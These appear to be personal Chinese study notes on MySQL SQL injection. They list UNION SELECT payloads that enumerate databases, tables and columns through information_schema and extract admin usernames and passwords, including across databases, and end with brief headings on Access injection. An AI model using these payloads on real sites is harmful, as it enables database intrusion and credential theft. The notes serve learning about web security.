用途:個人學習筆記,歡迎指正!
前言:
為了網站和數據庫的安全性,MYSQL 內置有 ROOT 最高用戶,劃分等級,每個用戶對應管理一個數據庫,這樣保證無不關聯,從而不會影響到其他數據庫的運行。
MYSQL 兩種思路:非 ROOT 的注入攻擊:常規類的猜解ROOT 用戶的注入攻擊:文件讀寫操作,跨庫查詢注入等
SQL注入原理:
用戶端提交的數據包中有可以控制的變量,而這個變量沒有被過濾直接拼接到SQL語句中在數據庫解析執行,從而通過構造這個變量使得拼接后的SQL語句可以額外對數據庫做一些其他攻擊操作。或者說:sql 注入攻擊是通過將惡意的 sql 查詢或添加語句插入到應用的輸入參數中,再在后臺 sql 服務器上解析 執行進行的攻擊。
黑盒測試中可以采用 user()獲取當前用戶權限,白盒中看連接用戶即可!
select * from product where id=1513
select * from product where id=1513
查詢 admin 表名:
UNION select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
查詢 admin 表名下的 admin 等列名
UNION select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
MYSQL5.0 以上版本:自帶的數據庫名 information_schema
information_schema :存儲數據庫下的數據庫名及表名,列名信息的數據庫
information_schema.tables :記錄表名信息的表
information_schema.columns :記錄列名信息表
information_schema.tables
獲取相關數據:
1 、數據庫版本 - 看是否符合 information_schema 查詢 -version()-5.5.532
2 、數據庫用戶 - 看是否符合 ROOT 型注入攻擊 -user()-root@localhost
3 、當前操作系統 - 看是否支持大小寫或文件路徑選擇 -@@version_compile_os-win
4 、數據庫名字 - 為后期猜解指定數據庫下的表,列做準備 -database()-syguestbook
一、ROOT 類型攻擊-猜解數據,文件讀寫,跨庫查詢
獲取 syguestbook 數據庫下面的表名信息:
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where
table_schema='syguestbook'
獲取表名 sy_adminuser 的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns
where table_name='sy_adminuser' and table_schema='syguestbook'
獲取指定數據:
UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser
二、跨庫注入:實現當前網站跨庫查詢其他數據庫對應網站的數據
獲取當前 mysql 下的所有數據庫名
UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata
獲取數據庫名 xhcms 下的表名信息
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where
table_schema='xhcms'
獲取數據庫名 xhcms 下的表 manage 下的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns
where table_name='manage' and table_schema='xhcms'
獲取指定數據:
UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage
三、小試牛刀?
?
#ASP+Access-簡易注入-字典猜解
由于 Access 數據庫特性導致這個 SQL 注入是需要借助字典去猜解表名和列名的,那么就會出現表名
或列名猜解不到,可以自定義社工字典或采用偏移注入!
#ASP+Access-偏移注入-報錯顯示
偏移注入就是解決表名已知,列名未知的情況!
?